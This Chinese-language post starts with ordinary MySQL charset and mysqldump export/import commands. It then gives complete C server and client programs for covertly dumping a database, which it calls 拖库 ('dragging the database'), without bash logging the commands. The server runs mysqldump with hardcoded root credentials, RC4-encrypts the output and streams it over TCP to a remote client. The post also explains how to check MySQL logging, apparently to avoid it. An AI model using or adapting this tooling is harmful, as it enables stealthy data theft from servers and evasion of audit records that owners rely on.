首先需要保证两个数据库的字符编码相同，查看命令：
show variables like ‘char%’;
若不相同用以下命令设置字符编码：
set character set latin1;
导出数据库用以下命令：
mysqldump -uroot -p12345 -hlocalhost –default-character-set=latin1 –databases dbName > dbName.sql
导入数据库：
mysql -uroot -p12345 -hlocalhost < dbName.sql
若想隐秘拖库而不被记录下执行命令，可以使用下面的程序，基于C/S结构，Server负责dump数据库，client保存数据库。
注意，这里指的是bash下记录的命令，mysql中的查询语句依旧可能被记录，查看mysql开启的日志功能用以下命令：
show variables like ‘log_%’;
程序代码如下：
/*———Server———-*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <limits.h>
#include <fcntl.h>
unsigned char box[256];
char *key = “1c65f5224e5319a19bc1b24aa221e00a”;
typedef struct
{
int fin;
int len;
char rawData[5000];
} PROTO;
void rc4_init(unsigned char *s, unsigned char *key, unsigned long key_len)
{
int i = 0, j = 0;
char k[256] = {0};
unsigned char tmp = 0;
for(i = 0; i < 256; i++)
{
s[i] = i;
k[i] = key[i % key_len];
}
for (i = 0; i < 256; i++)
{
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}
void rc4_crypt(unsigned char *_s, unsigned char *Data, unsigned long data_len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
unsigned char s[256];
memcpy(s,_s,sizeof(s)*sizeof(unsigned char));
for(k = 0; k < data_len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] ^= s[t];
}
}
int main()
{
int pid;
int exiVal;
FILE *file = NULL;
PROTO sendPkt;
struct sockaddr_in servAddr, clientAddr;
int listenSoc, clientSoc, addrLen;
int inPipe[2], outPipe[2], errPipe[2];
char readBuf[PIPE_BUF + 1];
int readSize;
struct timeval timeo;
fd_set fdRead;
rc4_init(box, key, strlen(key));
memset(&servAddr, 0x00, sizeof(servAddr));
memset(&clientAddr, 0x00, sizeof(clientAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_addr.s_addr = INADDR_ANY;
servAddr.sin_port = htons(7437);
//////////////////////////////////////////////////////////////////////////////////////////
listenSoc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(listenSoc < 0)
{
puts(“1”);
return -1;
}
if(bind(listenSoc, (struct sockaddr *)&servAddr, sizeof(servAddr)) != 0)
{
puts(“2”);
return -2;
}
if(listen(listenSoc, SOMAXCONN) != 0)
{
puts(“3”);
return -3;
}
addrLen = sizeof(servAddr);
clientSoc = accept(listenSoc, (struct sockaddr *)&clientAddr, &addrLen);
if(clientSoc < 0)
{
puts(“4”);
return -4;
}
//////////////////////////////////////////////////////////////////////////////////////////
pipe(outPipe);
pid = fork();
if(pid == 0)
{
dup2(outPipe[1], STDOUT_FILENO);
close(outPipe[0]);
execl(“/usr/bin/mysqldump”, “/usr/bin/mysqldump”, “-uroot”, “-p12345”, “-hlocalhost”, \
“–default-character-set=latin1”, “–databases”, “dbName”);
exit(0);
}
close(outPipe[1]);
//////////////////////////////////////////////////////////////////////////////////////////
while(1)
{
memset(&timeo, 0x00, sizeof(timeo));
timeo.tv_sec = 2;
FD_ZERO(&fdRead);
FD_SET(outPipe[0], &fdRead);
if(select(outPipe[0] + 1, &fdRead, NULL, NULL, &timeo) <= 0)
{
if(waitpid(pid, &exiVal, WNOHANG) > 0)
{
memset(&sendPkt, 0x00, sizeof(sendPkt));
sendPkt.fin = 1;
if(send(clientSoc, (char *)&sendPkt, sizeof(sendPkt), 0) <= 0)
{
puts(“dis”);
return -1;
}
return 0;
}
continue;
}
if(FD_ISSET(outPipe[0], &fdRead))
{
memset(readBuf, 0x00, sizeof(readBuf));
memset(&sendPkt, 0x00, sizeof(sendPkt));
if((readSize = read(outPipe[0], readBuf, sizeof(readBuf) – 1)) <= 0)
{
memset(&sendPkt, 0x00, sizeof(sendPkt));
sendPkt.fin = 1;
if(send(clientSoc, (char *)&sendPkt, sizeof(sendPkt), 0) <= 0)
{
puts(“dis”);
return -1;
}
return 0;
}
if(readSize > sizeof(sendPkt.rawData))
{
puts(“overflow”);
return -1;
}
memcpy(sendPkt.rawData, readBuf, readSize);
sendPkt.len = readSize;
rc4_crypt(box, sendPkt.rawData, sendPkt.len);
if(send(clientSoc, (char *)&sendPkt, sizeof(sendPkt), 0) <= 0)
{
puts(“dis”);
return -1;
}
}
}
return 0;
}
/*———Client———-*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
unsigned char box[256];
char *key = “1c65f5224e5319a19bc1b24aa221e00a”;
typedef struct
{
int fin;
int len;
char rawData[5000];
} PROTO;
void rc4_init(unsigned char *s, unsigned char *key, unsigned long key_len)
{
int i = 0, j = 0;
char k[256] = {0};
unsigned char tmp = 0;
for(i = 0; i < 256; i++)
{
s[i] = i;
k[i] = key[i % key_len];
}
for (i = 0; i < 256; i++)
{
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}
void rc4_crypt(unsigned char *_s, unsigned char *Data, unsigned long data_len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
unsigned char s[256];
memcpy(s,_s,sizeof(s)*sizeof(unsigned char));
for(k = 0; k < data_len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] ^= s[t];
}
}
int main()
{
FILE *file = NULL;
PROTO recvPkt;
struct sockaddr_in servAddr;
int clientSoc, recvLen, totalLen;
memset(&servAddr, 0x00, sizeof(servAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_addr.s_addr = inet_addr(“1.1.1.1”);
servAddr.sin_port = htons(7437);
//////////////////////////////////////////////////////////////////////////////////////////
clientSoc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(clientSoc < 0)
{
puts(“1”);
return -1;
}
if(connect(clientSoc, (struct sockaddr *)&servAddr, sizeof(servAddr)) != 0)
{
puts(“2”);
return -2;
}
//////////////////////////////////////////////////////////////////////////////////////////
rc4_init(box, key, strlen(key));
file = fopen(“dbName.sql”, “wb”);
if(file == NULL)
{
printf(“error\n”);
return -1;
}
//////////////////////////////////////////////////////////////////////////////////////////
while(1)
{
memset(&recvPkt, 0x00, sizeof(recvPkt));
totalLen = sizeof(recvPkt);
while(totalLen > 0)
{
recvLen = recv(clientSoc, (char *)&recvPkt + (sizeof(recvPkt) – totalLen), totalLen, 0);
if(recvLen <= 0)
{
puts(“disconnect”);
return -1;
}
totalLen -= recvLen;
}
rc4_crypt(box, recvPkt.rawData, recvPkt.len);
fwrite(recvPkt.rawData, sizeof(char), recvPkt.len, file);
if(recvPkt.fin) break;
}
fclose(file);
return 0;
}
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